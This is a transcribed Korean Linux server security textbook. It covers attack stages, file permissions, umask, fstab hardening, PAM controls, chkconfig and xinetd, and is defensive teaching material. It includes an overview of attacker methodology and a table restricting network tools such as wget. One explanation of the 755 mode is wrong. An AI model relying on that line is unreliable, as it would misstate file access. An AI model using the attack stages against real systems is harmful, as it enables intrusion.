리눅스보안실습교재
|
|
- 긔순 해
- 6 years ago
- Views:
Transcription
1 Linux(UNIX) Server Security Linux(UNIX) Server Security Table of Content Module 1 Attack Technique 전통적인공격기법 공격 9 단계분석 (1) 공격 9 단계분석 (2)...5 Module 2 General System Security Permission umask 표준보안퍼미션...13 Module 3 File System Security mount /etc/security...22 Module 4 Daemon chkconfig xinetd inetd vs Standalone...37 Module 5 Apache Security Practical httpd.conf Configuration Authentication & Access Control Basic Authentication Digest Authentication Database Authentication Access Control...58 Module 6 Web Hacking Web Application Vulnerability SQL Injection File Injection Query 를이용한내부명령어실행 Reverse Telnet Cross-Site Scripting(XSS)...82 Module 7 System Check List Solaris Security Checklist HP-UX Security Checklist i -
2
3 Linux(UNIX) Server Security Module 1 Attack Technique Objectives 전통적인공격기법 Anatomy of a Hack 새로운공격기법 - 1 -
4 1-1. 전통적인공격기법 전통적인공격기법 1 단계 : 정보수집 공격대상에대한정보파악 2 단계 : 시스템침입 정보수집단계에서수집한정보를바탕으로가장취약한부분공격하여침입 3 단계 : 공격전이 1 차적인시스템침입이후에일어나는침입 1 차침입으로부터얻은정보및추가작업을통하여시스템침입확대및타시스템에침입 Student Notes 우리가네트워크화된컴퓨터에우리의삶과사회를담아감에따라, 공격도더욱확산되고심각해지고있다. 이로인해해킹의황금시대에접어든것이다. 공격자를따라잡고우리의시스템을보호하기위해서는 그들의기법을이해해야한다. 이모듈에서는전통적인공격기법을소개함으로써컴퓨터시스템을공격으로부터방어하고자하는시스템관리자, 보안담당자그리고네트워크관리자를돕기위한모듈이다. 공격자는각계층에걸쳐있으며다양한동기와기술수준을갖고있다. 여러분의조직에대한위협을정확히평가하고, 반드시보호해야할가치와위협사이에동등한방어책을구축해야함을명심해라. 전통적인공격기법은크게세가지로분류할수있다
5 정보수집 시스템침입 공격전이 이것을세분화시키면다음과같다. Footprinting Scanning Pilfering Enumeration Gaining Access Escalating Privilege Covering Tracks Backdoor Denial of Sevice - 3 -
6 1-2. 공격 9 단계분석 (1) Anatomy of Hacking 1. Information Gathering 네트워크에대한정보를중심으로정보수집 whois, zone transfer, traceroute, firewalk, snmpwalk etc. 2. Scanning 공격하려는대상에대한자세한정보수집 Host discovery, OS Detection, Port scanning, RPC 정보, 공유자원에관한정보, trust relationship에관한정보 etc. 3. Pilfering 공격에필요한직접적인정보수집 Server Version 정보, 계정정보 etc. 4. Vulnerability Analysis 공격대상의취약점분석 자동화된툴또는취약점 DB 이용 Student Notes 정보수집단계는앞서언급한세분화된공격 9 단계중 4 번째단계까지의기술을포함한다. 1. Information Gathering 2. Scanning 3. Pilfering 4. Vulnerability Analysis 이중 1 단계는네트워크의정보를수집하는단계이고, 2 단계는네트워크에있는시스템의정보를수집하는단계이다
7 1-3. 공격 9 단계분석 (2) Anatomy of Hacking 5. Acquire Access Rights Remote Attack 을통해서접근권한획득주로서버프로그램의결함이나 CGI 의취약점, 취약한 password 공격 6. Escalating Privilege 접근권한획득후 local attack 을이용하여 root 권한획득 각종프로그램의결함이나취약한환경설정등을공격 7. Covering Log 접속기록등각종기록을조작또는삭제하여추적이어렵도록함. 8. Install Backdoors 점령한시스템을다른목적에사용하기위해서또는나중에쉽게들어올목적으로, 추적을따돌리기위해서 backdoor 설치 9. 공격전이 이미점유한 system을전초기지로삼아주변의여러 system들을차례대로공격해간다. 이단계에는 sniffer 가널리사용된다. Student Notes 이슬라이드는공격 9 단계중정보수집단계이후의단계를나타낸다. 충분한정보수집이이루어지고난다음실제시스템침입단계, 공격전이단계가이어지게된다. 실제침입단계에서는앞서수집된각종정보를바탕으로다양한공격도구들이사용되게된다. 여기서소개하는해킹기법과과정이딱정해진해킹방법론이라고는할수없지만, 실제해킹이이루어지는패턴은매우비슷하며단지공격기술의차이가있을뿐이다
8 - 6 -
9 Module 2 General System Security Objectives permission umask 표준보안퍼미션 - 7 -
10 2-1. Permission Permission drwxrwxrwx root root /etc/passwd group owner others permission group permission file type owner permission r : read w : write x : execute Student Notes 퍼미션은허가를나타낸다. 이허가권은세가지형태가있다. 이세가지형태는소유자에대한퍼미션과그 룹에대한퍼미션, 그리고그외사용자들에대한퍼미션이다. 퍼미션은 ls -l 명령을실행했을때확인할수있다. # ls -l /etc -rw root root 1204 Jan 31 18:13 passwd drwxr-xr-x 3 root root 1024 Feb 1 01:27 pcmcia -rw-r--r-- 1 root root 842 Mar profile drwxr-xr-x 2 root root 1024 Feb profile.d lrwxrwxrwx 1 root root 7 Feb 1 01:26 rc -> rc.d/rc 가장첫번째비트는파일타입을나타낸다. 파일타입은다음과같이몇가지가있다
11 - : file d : directory l : link file c : character device b : block device 그다음세개의비트는소유자에대한퍼미션을나타내고그다음세개의비트는그룹에대한퍼미션, 마지막세개의비트는그외사용자들에대한퍼미션을나타낸다. r 은읽기권한, w 는쓰기권한, x 는실행권한을뜻하는데이퍼미션에따라서파일을읽거나쓰거나수정하거나혹은디렉토리로접근하거나파일을실행하거나하게된다. 퍼미션뒤로는파일의소유자와그룹이표시가된다. 그러면이러한퍼미션을수정하는명령에대해서알아보도록하겠다. # chmod g+w [filename] # chmod o+r [filename] # chmod go-x [filename] # chmod a+rw [filename] 첫번째는그룹에게쓰기권한을주는설정이고두번째는소유자와그룹을제외한다른모든사용자에게읽 기권한을준것이고세번째는그룹과그외모든사용자에게서실행권한을없애는설정이다. 마지막은모든 사용자에게읽고쓸수있는권한을부여한것이다. 이런퍼미션을위처럼문자로만쓰지않고숫자로도나타낼수있다. r : 4(2 2 ) w : 2(2 1 ) x : 1(2 0 ) # chmod 644 [filename] # chmod 755 [filename] # chmod 600 [filename] # chmod 640 [filename] 문자로퍼미션을조정하였을경우에는특정권한을더하거나뺄때사용하였지만숫자로나타내는경우에는 특정권한을바로부여할수가있다. 644 는소유자는읽고쓰기가가능하며그룹과그외사용자들은읽기만가능한설정이다. 755 는소유자는읽고쓰고실행이가능하며그룹과그외사용자들은읽고쓰기만가능하다
12 600 은오로지소유자만이읽고쓰기가가능하다. 640 은소유자는읽고쓰기가가능하며그룹은읽기만가능하고그외사용자들은어떠한권한도없다. 보통 others 에속하는일반사용자가접근해서는안되는파일의퍼미션을조정하여보안설정을할수가있다. 그내용에대해서는뒤에서다시보도록하겠다. 다음과같은상황을생각해보자. $ mkdir test $ chmod a-x test $ cd test -bash: cd: test: Permission denied
13 Special Permission - setuid, setgid, sticky bits 앞서보았던퍼미션들과는약간다른형태의퍼미션이다. 앞의일반적인퍼미션을세개의숫자로나타내었 다면이번에볼특별한퍼미션은네개의숫자로나타내어진다. 먼저 setuid 와 setgid 에대해서알아보도록하겠다. setuid 는파일이실행될때만실행한사용자에게소유자의권한을부여하는퍼미션을말한다. setgid 도 비슷한의미를가지고있다. 단지소유자이냐그룹이냐의차이점만있을뿐이다. 이런 setuid, setgid 비트는다음과같이표현할수있다. # ls -al /usr/bin/passwd -r-s--x--x 1 root root Feb /usr/bin/passwd 숫자로나타내자면 4511 이다. 4 는 s 비트를의미하고 5 는 r-x 를, 1 은 --x 를의미한다. 위의 passwd 라는명령은누구든지실행이가능하고실행되는동안에는누구든지 root 의권한을갖게되는 것이다. 공격자들이가장많은공격을가하는프로그램이바로이 setuid 비트가설정된프로그램이다. setuid bit : 4(2 2 ) setgid bit : 2(2 1 ) sticky bit : 1(2 0 ) sticky bit 의가장대표적인예는 /tmp 디렉토리이다. 이디렉토리에서는누구든지파일을생성하고삭제하고 수정할수있지만삭제하고수정하는권한은소유자만이가능하다. # ls -ld /tmp drwxrwxrwt 3 root root 1024 Jan 31 20:09 tmp 물론 root 는누가생성하였든지삭제하고수정할수가있다
14 2-2. umask umask 파일생성시기본적으로부여되는권한 File 생성시 => 644 Directory 생성시 => 755 # touch test.txt # mkdir testdir # ls -l drwxr-xr-x -rw-r--r-- 2 root 1 root root root 1024 Feb 1 02:17 testdir 0 Feb 1 02:17 test.txt Student Notes 이 umask 는파일이생성될때부여되는권한이기때문에아주중요한역할을하게된다. 파일을생성하는매 번퍼미션을조정할수없기때문에최소생성시가장일반적인권한을주기위해서 umask 를사용한다. umask 를지정하는명령은다음과같다. # umask [number] or # umask [u g o]=[r w x]
15 2-3. 표준보안퍼미션 표준보안퍼미션 일반파일퍼미션조정 Compile tool System tool Network tool 일반사용자들의실행이나파일열람을불가능하게하여권한을상승 하는데직접적인기회를제공하거나간접적인정보를얻지못하게한 다. Student Notes 표준보안퍼미션설정은우리가시스템설치후필수적으로적용해야하는사항중하나이다. 대부분의파일 들은우리에게익숙한파일들이지만퍼미션은신경쓰지않은채지나치기쉬운파일들이다. 이렇게퍼미션을조정해야하는파일들은크게네부분으로나뉘는데일반적인설정파일들이있고컴파일 도구들, 시스템도구들, 네트워크관련도구들이있다. 여기에는보안상일반사용자들에게내부텍스트내용 이공개되어서는안되는파일들도있고일반사용자들이실행하지말아야하는파일들도속해있다. 다음장의표를보도록하자
16 File user group Permission /bin/ root root 711 /boot/ root root 700 /dev/ root root 711 /dev/audio* root audio 600 /dev/dsp* root audio 600 /etc/ root adm 711 /etc/cron.daily/ root adm 750 /etc/cron.hourly/ root adm 750 /etc/cron.monthly/ root adm 750 /etc/cron.weekly/ root adm 750 /etc/crontab root adm 640 /etc/esd.conf root audio 640 /etc/ftpaccess root adm 640 /etc/ftpconversions root adm 640 /etc/ftpgroups root adm 640 /etc/ftphosts root adm 640 /etc/ftpusers root adm 640 /etc/hosts root adm 640 /etc/xinetd.conf root adm 640 /etc/rc.d/init.d/ root adm 750 /etc/rc.d/init.d/* root adm 700 /etc/rc.d/init.d/syslog root adm 740 /etc/inittab root adm 640 /etc/ld.so.conf root adm 640 /etc/lilo.conf root adm 600 /etc/modules.conf root adm 640 /etc/motd root adm 644 /etc/profile root root 644 /etc/rc.d/ root adm 640 /etc/securitty root adm 640 /etc/ssh/ssh_config root root 644 /etc/ssh/ssh_host_key root adm 640 /etc/ssh/ssh_host_key.pub root adm 644 /etc/ssh/sshd_config root adm 640 /etc/syslog.conf root adm 640 /lib/ root adm 751 /mnt/ root adm 750 /root/ root root 700 /sbin/ root adm 751 /tmp/ root root 1777 /usr/ root adm 751 /usr/* root adm 751 /usr/bin/ root adm 751 /usr/bin/* root root 755 /usr/sbin/ root adm 751 /usr/sbin/* root root 755 /var/ root root 755 /var/log/ root root 711 /var/log/* root root 600 /var/spool/mail root mail
17 Compile Tool File user group permission /usr/bin/gcc root root 0700 /usr/bin/g++ root root 0700 /usr/bin/cc root root 0700 /usr/bin/make root root 0700 System Tool File user group permission /usr/bin/w root root 0700 /usr/bin/who root root 0700 /usr/bin/finger root root 0700 /usr/bin/which root root 0700 /usr/bin/nslookup root root 0700 /usr/bin/pstree root root 0700 /usr/bin/suidperl root root 0700 /usr/bin/whereis root root 0700 /usr/bin/sperl root root 0700 /usr/bin/top root root 0700 Network Tool File user group permission /bin/ping root root 0700 /usr/sbin/traceroute root root 0700 /usr/bin/rlog root root 0700 /usr/bin/rlogin root root 0700 /usr/bin/lynx root root 0700 /usr/bin/wget root root 0700 만약특정사용자들, 즉특정그룹에대해서만권한을허용해주고자할수도있다. 물론관리자가잘판단하여 정책을세워야할것이다
18 - 16 -
19 Module 3 File System Security Objectives mount /etc/security
20 3-1. mount mount /etc/fstab LABEL=/ / ext3 defaults 1 1 LABEL=/boot /boot ext3 defaults 1 2 none /dev/pts devpts gid=5,mode= LABEL=/home /home ext3 defaults 1 2 none /proc proc defaults 0 0 none /dev/shm tmpfs defaults 0 0 LABEL=/tmp /tmp ext3 defaults 1 2 LABEL=/usr /usr ext3 defaults 1 2 LABEL=/var /var ext3 defaults 1 2 /dev/sda6 swap swap defaults 0 0 /dev/cdrom /mnt/cdrom udf,iso9660 noauto,owner,kudzu,ro 0 0 /dev/fd0 /mnt/floppy auto noauto,owner,kudzu 0 0 Student Notes mount 는파일시스템구조내에있는일련의파일들을사용자나사용자그룹들이이용할수있도록만드는것이다. 디바이스와디렉토리를연결해주는작업을이야기한다. 부팅시커널은 /etc/fstab 파일을읽어서마운트할디바이스를찾고이디바이스들을 fstab 파일에명시된디렉토리에마운트시킨다. 먼저 mount 명령의사용법에대해서알아보겠다. mount 명령은 2 개의인수를취한다. 첫번째인수는파일시스템을포함하고있는디스크나파티션에해당되 는장치파일이다. 두번째인수는마운트될디렉토리이다
21 # mount /dev/sda2 /usr # mount /dev/sda8 /home mount [-lhv] mount -a [-ffnrsvw] [-t vfstype] [-O optlist] mount [-fnrsvw] [-o options [,...]] device dir mount [-fnrsvw] [-t vfstype] [-o options] device dir mount 명령은여러가지옵션이존재하는데그중에서꼭알아두어야할옵션은 -t 와 -o 옵션이다. -t 옵션뒤에는파일시스템의타입을써주어야한다. -o 옵션은뒤에나올 fstab 파일의옵션부분에들어갈옵션들을적어준다. 옵션은다음과같다. async 파일시스템에대한 I/O 가비동기적으로이뤄지도록한다. auto -a 옵션으로마운트가능하게한다. defaults 다음과같은기본옵션을사용하게한다 : rw, suid, dev, exec, auto, nouser, async Dev 파일시스템상의문자, 블럭특수장치를해석한다. exec 바이너리의실행은허가한다. noauto 명시적으로만마운트가능하다.( 즉,-a 옵션으로는마운트되지않는다.) nodev 파일시스템상의문자, 블럭장치에대한해석을하지않는다. noexec 마운트된파일시스템상의어떤바이너리도실행을허가하지않는다. 자신이지원하지않는바이너리를포함하는파일시스템에대해유용하다. nosuid setuid, setgid 를무시한다. nousers 일반사용자가마운트할수있도록허용하지않는다. 기본설정값이다. remount 이미마운트된파일시스템을다시마운트한다. 보통읽기전용파일시스템을읽기 / 쓰기모드로전환하는등파일시스템에대한플래그를바꿀때사용된다. Ro 파일시스템을읽기만가능하게한다. Rw 읽기 / 쓰기모두가능하게마운트한다. suid setuid, setgid 가효력을발휘할수있게해준다. sync 파일시스템에대한 I/O 가동기적으로이뤄지게한다. user 일반사용자도마운트할수있게허용한다. 이옵션은다음 noexec, nosuid, nodev 도효력을발휘하게한다.( 같은줄에서 user, exec, dev, suid 등의옵션을주지않는다면 )
22 만약 fstab 파일이잘못설정되어있으면부팅이안될수도있고보안상치명적이결과를초래할수도있다. 먼저이 fstab 파일이어떠한형태로이루어져있는지알아보도록하겠다. LABEL=/usr /usr ext3 defaults 1 2 filesystem directory type options frequency pass 첫번째필드는파일시스템을나타낸다. 즉, 물리적인디바이스를나타내는데레드햇 9 에서는 LABEL 로대체해서쓰고있다. 보통많이볼수있는형태는 /dev/sda2 이다. 두번째필드는파일시스템을마운트할디렉토리를지정한다. 즉, 마운트포인트가된다. 세번째필드는파일시스템의타입이다. 네번째필드부분은옵션이다. 다섯번째, 여섯번째필드는백업주기와 fsck 에넘겨주는값으로부팅시 fsck 로체크할것인지안할것인지를나타낸다. 0 은체크를안한다는뜻이다. 여기서보안상문제가발생할수있는부분은옵션부분이다. 옵션은앞페이지를참고하도록하자. 한가지예를들어보자면공격자가웹서버의취약점을이용하여시스템에침입하였을경우대부분의공격자는 /tmp 디렉토리에로컬에서권한상승에필요한파일들을다운로드한다. 이런파일들은 setuid 비트가설정된파일도있고실행이되는파일들이다. 만약다음과같이설정되어있다면이런공격들이통하지않을것이다. LABEL=/tmp /tmp ext3 defaults,nosuid,noexec 1 2 그리고 /home 디렉토리에 setuid 파일이나 device 파일은존재하지않아도사용자들이시스템을사용하는데 아무런문제가없다. 오히려이런파일들이있을때시스템에문제가생길가능성이높다. 그래서다음과같이 설정해줄수가있다. LABEL=/home /home ext3 defaults,nosuid,nodev 1 2 fstab 을위와같이바꾸었으면파일시스템을다음과같이다시마운트한다. # mount -o remount /tmp # mount -o remount /home
23 옵션이제대로적용되었는지확인하는방법은쉘스크립트를간단하게하나만든후실행퍼미션을추가하고 실행해보면알수있다. # cd /tmp # vi test.sh #!/bin/sh echo exec test!! # chmod a+x test.sh #./test.sh exec test!! # mount -o noexec,remount /tmp #./test.sh -bash:./test.sh: /bin/sh: bad interpreter: Permission denied
24 3-2. /etc/security /etc/security access.conf Login access control table Console.perm 특권사용자의콘솔실행제한 limits.conf 서버자원의제한 time.conf 서비스접근시간제어 console.apps 콘솔프로그램에접근제어 Student Notes access.conf 인증된사용자가어디서나운영중인서버로로그인할수있는환경이라면서버에접속이가능한사용자에대 해서통제및관리를강화하기위해 security 파일을사용하도록한다. 이곳에있는예제에서는특정한사용자 의접근을제한하도록 /etc/security/access.conf 를수정하는방법을살펴보겠다. 기본적으로설치되어있는 access.conf 파일을이용하면인증된사용자중특정한사용자에대해콘솔이나서 버등에대한로그인을제어할수있다. access.conf 파일을통한설정은비교적쉬운데아래에서안전하면서도 제한적인서비스를하기위한설정방법을살펴보자
25 # vi /etc/security/access.conf... -:ALL EXCEPT root test:all 위의설정은 root 와 test 라는사용자를제외한모든사용자에대해서콘솔및원격접속을차단한다. 여기에 위치정보를추가할수있다. 즉, 지정된 IP 에서만접근이가능하도록설정할수있다. -:ALL EXCEPT root test: :ALL:LOCAL 두번째줄의의미는모든사용자의콘솔접근을허용하지않는다는뜻이므로 root 로로그인하기위해서는먼 저 IP 가 인호스트에서 test 계정으로로그인하고 su 를이용하여 root 로전환하여로그인하면된 다. access.conf 기능을사용하려면다음내용을 /etc/pam.d/login 과 sshd 에추가해야한다. account required /lib/security/pam_access.so /etc/pam.d/login #%PAM-1.0 auth required pam_securetty.so auth required pam_stack.so service=system-auth auth required pam_nologin.so account required pam_stack.so service=system-auth account required pam_access.so password required pam_stack.so service=system-auth session required pam_stack.so service=system-auth session optional pam_console.so
26 limits.conf 이파일을이용하여시스템사용자들이사용할수있는자원을제한하거나제어할수있다. 모든사용자들에대해서사용할수있는서버자원에대한제한을설정하면서비스거부공격 ( 프로세스의수, 메모리의양등에대한 ) 을사전에어느정도예방할수있다. 이러한제한의설정은사용자가로그인할때적용된다. 파일내에있는기본설정은다음과같다. ( 주석처리되어있다.) /etc/security/limits.conf #<domain> <type> <item> <value> # #* soft core 0 #* hard rss #@student hard nproc 20 #@faculty soft nproc 20 #@faculty hard nproc 50 #ftp hard nproc 0 #@student - maxlogins 4 domain 은제한을할대상이다. 사용자이름이나그룹이름, 그리고와일카드문자를사용할수있다. type 은강하게제한할것인지아니면어느정도여유를줄것인지를결정한다. item 은제한을할항목이다. 항목은다음과같다. core - core 파일의사이즈 (KB) data - 최대데이터크기 (KB) fsize - 최대파일사이즈 (KB) memlock - 최대 locked-in-memory 주소공간 (KB) nofile - 한번에열수있는최대파일수 rss - 최대 resident set size (KB) stack - 최대스택사이즈 (KB) cpu - 최대 CPU 점유시간 (MIN) nproc - 최대프로세스개수 as - 주소공간제한 maxlogins - 동시로그인최대수 priority - 사용자프로세스가실행되는우선순위
27 일반적으로사용자별제한은그룹의제한에우선한다. 그래서만일 admin 그룹에아무제한을두지않고이그룹의멤버중한명에대한제한을등록했다면그사용자는제한을받을것이다. 그리고모든제한설정은 login 단위로설정된다. 즉, 세션이유지되는동안에만제한을받는것이다. 그리고 /etc/pam.d/login 파일의마지막에다음과같이추가하면된다. session required /lib/security/pam_limits.so 다음제한사항을토대로위의항목을설정해보도록하자. CPU 선점시간을최대 10 분그리고 Data 크기를 10M 최대로띄울수있는프로세스개수를 10 개미만으로제 한하도록하시오. time.conf time.conf 파일에설정되는값을통해시스템의사용자이름, 하루중특정시간, 일주일중특정요일, 특정한 서비스또는접속요청이들어오는터미널등의접근을제한할수있다. 기본적인형태는다음과같다. services;ttys;users;times services - 이규칙이적용될서비스의이름 ttys - 규칙을적용할터미널의이름 user - 적용할사용자이름의목록이목록은다음의규칙을따르는토큰의나열인데이들은적절한 PAM_ 항목과연결되게된다. 적어도하나이상의 wildcard character '*' 를가진다. 부정을나타내는 '!' 를선택적으로앞에쓸수있다. 논리적 AND 인 '&' 와논리적 OR 인 ' ' 를쓸수있다. times - 언제이규칙을적용할것인지를지정한다. 각부분은날짜 / 시간범위이다. 날짜는두개의글자의조합으로나타낸다. 예를들어 'MoTuSa' 는월, 화, 토요일을나타낸다. 반복되는날은효력을상쇄시킴을주의하라. 'MoTuMo' 라고쓴경우실제로는화요일만유효하게처리된다. 'MoWk' 라고쓴경우월요일을제외한평일이라는뜻이다. 다음의두글자조합이유효하게처리된다. Mo Tu We Th Fr Sa Su Wk Wd Al 마지막에서두번째는주말을뜻하고마지막항목은한주의모든날에해당한다
28 시간범위는 24 시간표시로나타낸 HHMM 형식에다가하이픈 '-' 표시로시작범위와끝범위를지정한다. 만약끝시간이시작시간보다작다면다음날의해당시간으로해석된다. 'Mo ' 이라고쓰면허용되는시간은월요일저녁 6 시부터다음날새벽 3 시까지라는뜻이다. 주어진시간제한조건은앞의세개의필드의조건이만족되는경우에만적용된다. 다음예제를보도록하자. login ; tty* &!ttyp* ;!root!test ;!A 위의설정은 root 와 test 라는계정을제외한모든사용자에대해서언제나콘솔의로그인을제한한다. time.conf 에대해설명한것처럼다양한설정을조합해서접근제어를할수도있는데예를들어관리자인 admin 계정은모든접근을허용하지만주말과화요일에는오전 8 시부터오후 6 시까지콘솔접근이불가능하 도록설정할경우아래와같이설정하면된다. login ; * ;!admin ;!Wd !Tu 다음예제는 waster 라는사용자를제외한나머지사용자들은근무시간대에는게임서비스가제한된다. games ; * ;!waster ; Wd Wk 위설정을사용하기위해서 /etc/pam.d/login 과 sshd 등제공하려는서비스에추가한다. account required /lib/security/pam_time.so
29 Module 4 Daemon Objectives chkconfig xinetd inetd vs standalone
30 4-1. chkconfig chkconfig usage: chkconfig --list [name] chkconfig --add <name> chkconfig --del <name> chkconfig [--level <levels>] <name> <on off reset>) # chkconfig --list # chkconfig --list network # chkconfig --del portmap # chkconfig --add portmap # chkconfig --level 3 network off # chkconfig --level 345 network on Student Notes chkconfig 명령을사용해서도서비스를활성화하고비활성화할수있다. chkconfig --list 명령을사용하여시스 템서비스목록과런레벨 0-6 에서서비스의시작또는정지여부를볼수있다. xinetd 가관리하는서비스에 관련된부분은이목록의마지막부분에나타난다. chkconfig 명령은 xinetd 가관리하는서비스에즉시적용된다. 예를들어 xinetd 가실행중이며 finger 가비활 성화된상태에서 chkconfig finger on 명령을실행한다면 xinetd 를수동으로재시작할필요가없이 finger 는즉 시활성화된다. 하지만다른서비스에대한변경사항은 chkconfig 사용후즉시적용되지않기때문에 service daemon stop 명 령을사용하여개별서비스를정지하거나시작해야한다. 여기에서 daemon 은정지할서비스이름이다. 서비스를시작하거나재시작하기위해서는 stop 을 start 또는 restart 를사용하면된다
31 서비스들의상태를확인하는명령은다음과같다. # chkconfig --list syslog 0:off 1:off 2:on 3:on 4:on 5:on 6:off netfs 0:off 1:off 2:off 3:on 4:on 5:on 6:off network 0:off 1:off 2:on 3:on 4:on 5:on 6:off random 0:off 1:off 2:on 3:on 4:on 5:on 6:off rawdevices 0:off 1:off 2:off 3:on 4:on 5:on 6:off pcmcia 0:off 1:off 2:on 3:on 4:on 5:on 6:off saslauthd 0:off 1:off 2:off 3:off 4:off 5:off 6:off keytable 0:off 1:on 2:on 3:on 4:on 5:on 6:off gpm 0:off 1:off 2:on 3:on 4:on 5:on 6:off autofs 0:off 1:off 2:off 3:on 4:on 5:on 6:off iptables 0:off 1:off 2:on 3:on 4:on 5:on 6:off irda 0:off 1:off 2:off 3:off 4:off 5:off 6:off sshd 0:off 1:off 2:on 3:on 4:on 5:on 6:off portmap 0:off 1:off 2:off 3:on 4:on 5:on 6:off nfs 0:off 1:off 2:off 3:off 4:off 5:off 6:off nfslock 0:off 1:off 2:off 3:on 4:on 5:on 6:off sendmail 0:off 1:off 2:on 3:on 4:on 5:on 6:off rhnsd 0:off 1:off 2:off 3:on 4:on 5:on 6:off crond 0:off 1:off 2:on 3:on 4:on 5:on 6:off xinetd 0:off 1:off 2:off 3:on 4:on 5:on 6:off xinetd based services: chargen-udp: off rsync: off chargen: off daytime-udp: off daytime: off echo-udp: off echo: off services: off servers: off time-udp: off time: off sgi_fam: on 특정서비스의상태를보려면뒤에서비스의이름을적어주면된다. # chkconfig --list network network 0:off 1:off 2:on 3:on 4:on 5:on 6:off 특정서비스를삭제하거나추가할때는다음과같이명령을내려주면된다. # chkconfig --del portmap # chkconfig --add portmap 여기서한가지주의할사항은 chkconfig 명령으로서비스를지운다하더라도실제서비스를하는스크립트파일은삭제되지않는다는것이다. 삭제되는파일은 /etc/rc.d/rc[0-6].d 에있는링크된파일이기때문에실제스크립트가있는 /etc/rc.d/init.d 에있는서비스스크립트는삭제되지않는다. # ls -al /etc/rc.d/* grep portmap
32 -rwxr-xr-x 1 root root 1898 Feb portmap lrwxrwxrwx 1 root root 17 Feb 4 13:36 K87portmap ->../init.d/portmap lrwxrwxrwx 1 root root 17 Feb 4 13:36 K87portmap ->../init.d/portmap lrwxrwxrwx 1 root root 17 Feb 4 13:36 K87portmap ->../init.d/portmap lrwxrwxrwx 1 root root 17 Feb 4 13:36 S13portmap ->../init.d/portmap lrwxrwxrwx 1 root root 17 Feb 4 13:36 S13portmap ->../init.d/portmap lrwxrwxrwx 1 root root 17 Feb 4 13:36 S13portmap ->../init.d/portmap lrwxrwxrwx 1 root root 17 Feb 4 13:36 K87portmap ->../init.d/portmap # chkconfig --del portmap # ls -al /etc/rc.d/* grep portmap -rwxr-xr-x 1 root root 1898 Feb portmap 다음명령은특정런레벨에서특정서비스를시작하거나정지시키는명령이다. 런레벨은여러개를같이적 어줄수있다. # chkconfig --level 3 network off # chkconfig --level 345 network on
33 4-2. xinetd Xinetd TCP, UDP와 RPC 서비스들에대한접근제어 타임세그먼트에기초한접근제어 접속성공또는실패에대한완전한로깅 서비스부인공격에대한효과적인억제 동시에작동하는동일유형서버수에대한제한 총서버수에대한제한 로그파일크기에대한제한 특정인터페이스로의서비스바인딩 Student Notes xinetd(extended InterNET services daemon) 은침입에대해우수한보안을제공하며서비스부인 (Denial of Services) 공격의위험을감소시킨다. 이는잘알려진 inetd 와 tcpd 를함께사용하는것과같이주어 진머신에대한접근권한설정을가능케하지만더욱많은기능을제공할수있다. xinetd 는슈퍼데몬으로서자신이관리하는서비스로연결요청이들어오면해당서비스를깨워연결요청을 한사용자에게서비스를하도록해준다. 예전 inetd 도같은기능을하였는데보안상문제점이많아 tcp _wrapper 를같이사용하곤하였다. 위의그림에서처럼 xinetd 는 tcp_wrapper 의기능까지가지고있다. xinetd 의기본설정파일은 /etc/xinetd.conf 이고 xinetd 가관리하는서비스들은 /etc/xinetd.d 에위치한다. 먼저 xinetd.conf 파일에대해서알아보도록하겠다
34 1. /etc/xinetd.conf defaults { attribute operator value(s)... } 정의된각속성은이후에기술되는모든서비스에대해제공된값을유지하는데따라서 only_from 속성에서 버에접속할수있는인가된주소들을열거할수있다 only_from = / / 이후에선언된모든서비스는목록에포함된주소의머신으로부터의접근만을허용할것이다. 그러나이러한 디폴트값은각서비스에대해수정될수있는반면매우위험하다. 사실간단하고안전하게서비스를제공하 기위해서는디폴트값을정의하지않고각서비스내에서추후이들을변경하는것이더욱좋다. 예를들면접근권한의경우가장간단한정책은모든서비스에대한접근을거절하고다음에서비스를원하 는이들에게만각서비스에대해접근을허용하는것이다. tcp_wrapper 를이용할때이는 ALL:ALL@ALL 을 포함하는 hosts.deny 파일과단지인가된서비스및주소를제공하는 hosts.allow 파일을사용해서이루어진다. 설정파일의서비스를기술하는각절은다음과같다 : service service_name { attribute operator value(s)... } =, += 과 -= 세연산자가허용가능한데대부분의속성들은이에고정된값을할당하는데사용되는 = 연산자만지원한다. += 연산자는값들의목록에조항을추가하는반면 -= 연산자는이조항을제거한다. 다음 xinetd.conf 파일을보도록하자
35 # cat /etc/xinetd.conf defaults { instances = 60 log_type = SYSLOG authpriv log_on_success = HOST PID log_on_failure = HOST cps = only_from = /24 } includedir /etc/xinetd.d 속성 Flags 값및설명 - IDONLY : 시별서버를갖는클라이언트로부터의접속만을허용 - NORETRY : 실패한경우새로운프로세스의분기를피한다 - NAMEINARGS : server_args 속성의첫번째인수를 server 에대한 argv[0] 로사용하는데, 이는 inetd 에서와같이 server 속성을 tcpd 로하고다음에서버이름및그인수로 server_args 를써놓음으로써 tspd 사용을허용한다. log_type - SYSLOG selector [level] : syslogd 가 daemon, auth, user 또는 local0-7 중에서선택할수있도록한다 - FILE[max_size[absolute_max_size]] : 지정된파일이로깅정보를받는데, 두옵션은파일크기한계를설정한다. 파일크기가한계값에도달하면우선메시지를 syslogd 에보내고다음에이서비스에대한로깅을중지한다 ( 일반적인파일또는디폴트로고정되어있다면다양한서비스들이관련될수있다.) log_on_success 서버가구동할때여러가지정보가기록될수있다. - PID : 서버의 PID( 내부 xinetd 서비스라면 PID 는 0 의값을갖는다 ) - HOST : 클라이언트주소 - USERID : 식별프로토콜을정의하는 RFC1413 에따른원격사용자의아이덴티티 - EXIT : 프로세스종료상태 - DURATION : 세션지속기간 log_on_failure xinetd 는서버가자원부족또는접근규칙때문에구동할수없을때다양한정보를기록할수있다. - HOSTID, USERID : 위와동일 - ATTEMPT : 접근시도를기록하며다른값이적용되자마자실행되는자동옵션 - RECORD : 클라이언트에대한얻을수있는모든정보를기록한다. Nice nice 명령어와같이서버우선권을변경한다. no_access only_from 이서비스에접근할수없는클라이언트목록 인가된클라이언트목록. 이속성에값이부여되지않는다면서비스에대한접근이거절된다
